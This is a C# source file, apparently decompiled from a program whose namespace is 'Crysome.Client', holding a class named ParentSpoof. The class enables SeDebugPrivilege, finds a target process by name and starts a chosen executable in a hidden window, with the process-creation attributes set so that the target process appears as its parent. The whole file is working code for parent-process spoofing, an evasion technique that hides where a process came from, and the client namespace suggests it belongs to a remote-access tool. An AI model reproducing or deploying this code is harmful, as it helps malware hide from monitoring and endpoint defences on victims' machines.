using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace Crysome.Client.Configuration;

public static class ParentSpoof
{
	[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
	private struct STARTUPINFOEX
	{
		public STARTUPINFO StartupInfo;

		public IntPtr lpAttributeList;
	}

	[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
	private struct STARTUPINFO
	{
		public int cb;

		public string lpReserved;

		public string lpDesktop;

		public string lpTitle;

		public int dwX;

		public int dwY;

		public int dwXSize;

		public int dwYSize;

		public int dwXCountChars;

		public int dwYCountChars;

		public int dwFillAttribute;

		public int dwFlags;

		public short wShowWindow;

		public short cbReserved2;

		public IntPtr lpReserved2;

		public IntPtr hStdInput;

		public IntPtr hStdOutput;

		public IntPtr hStdError;
	}

	private struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;

		public IntPtr hThread;

		public int dwProcessId;

		public int dwThreadId;
	}

	private struct LUID
	{
		public uint LowPart;

		public int HighPart;
	}

	private struct TOKEN_PRIVILEGES
	{
		public int PrivilegeCount;

		public LUID Luid;

		public int Attributes;
	}

	private const uint EXTENDED_STARTUPINFO_PRESENT = 524288u;

	private const uint CREATE_NO_WINDOW = 134217728u;

	private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 131072;

	private const uint PROCESS_CREATE_PROCESS = 128u;

	private const int SE_PRIVILEGE_ENABLED = 2;

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpSize);

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern bool CloseHandle(IntPtr hObject);

	[DllImport("advapi32.dll", SetLastError = true)]
	private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);

	[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);

	[DllImport("advapi32.dll", SetLastError = true)]
	private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);

	[DllImport("kernel32.dll")]
	private static extern IntPtr GetCurrentProcess();

	private static void EnableDebugPrivilege()
	{
		try
		{
			if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle))
			{
				TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES);
				NewState.PrivilegeCount = 1;
				NewState.Attributes = 2;
				if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid))
				{
					AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero);
				}
				CloseHandle(TokenHandle);
			}
		}
		catch
		{
		}
	}

	public static bool TrySpawnUnderParent(string parentName, string exePath, string args)
	{
		if (string.IsNullOrEmpty(parentName) || string.IsNullOrEmpty(exePath))
		{
			return false;
		}
		EnableDebugPrivilege();
		int num = FindProcessIdByName(parentName);
		if (num <= 0)
		{
			return false;
		}
		IntPtr intPtr = OpenProcess(128u, bInheritHandle: false, num);
		if (intPtr == IntPtr.Zero)
		{
			return false;
		}
		try
		{
			IntPtr lpSize = IntPtr.Zero;
			InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
			InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
			if (lpSize == IntPtr.Zero || lpSize.ToInt32() <= 0)
			{
				return false;
			}
			IntPtr intPtr2 = Marshal.AllocHGlobal(lpSize);
			try
			{
				if (!InitializeProcThreadAttributeList(intPtr2, 1, 0, ref lpSize))
				{
					return false;
				}
				try
				{
					IntPtr intPtr3 = Marshal.AllocHGlobal(IntPtr.Size);
					try
					{
						Marshal.WriteIntPtr(intPtr3, intPtr);
						if (!UpdateProcThreadAttribute(intPtr2, 0u, (IntPtr)131072, intPtr3, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero))
						{
							return false;
						}
					}
					finally
					{
						Marshal.FreeHGlobal(intPtr3);
					}
					STARTUPINFOEX lpStartupInfo = new STARTUPINFOEX
					{
						StartupInfo = new STARTUPINFO
						{
							cb = Marshal.SizeOf(typeof(STARTUPINFOEX)),
							dwFlags = 1,
							wShowWindow = 0
						},
						lpAttributeList = intPtr2
					};
					string text = "\"" + exePath + "\"";
					if (!string.IsNullOrEmpty(args))
					{
						text = text + " " + args;
					}
					if (CreateProcess(null, text, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 134742016u, IntPtr.Zero, null, ref lpStartupInfo, out var lpProcessInformation))
					{
						CloseHandle(lpProcessInformation.hProcess);
						CloseHandle(lpProcessInformation.hThread);
						return true;
					}
					Program.Log("ParentSpoof: CreateProcess failed. Err=" + Marshal.GetLastWin32Error());
				}
				finally
				{
					DeleteProcThreadAttributeList(intPtr2);
				}
			}
			finally
			{
				Marshal.FreeHGlobal(intPtr2);
			}
		}
		finally
		{
			CloseHandle(intPtr);
		}
		Program.Log("ParentSpoof: Failed to spawn under " + parentName);
		return false;
	}

	private static int FindProcessIdByName(string name)
	{
		string text = name.ToLowerInvariant();
		if (!text.EndsWith(".exe"))
		{
			text += ".exe";
		}
		try
		{
			Process[] processes = Process.GetProcesses();
			foreach (Process process in processes)
			{
				try
				{
					if ((process.ProcessName + ".exe").Equals(text, StringComparison.OrdinalIgnoreCase))
					{
						int id = process.Id;
						process.Dispose();
						return id;
					}
				}
				catch
				{
				}
				finally
				{
					process.Dispose();
				}
			}
		}
		catch
		{
		}
		return 0;
	}
}
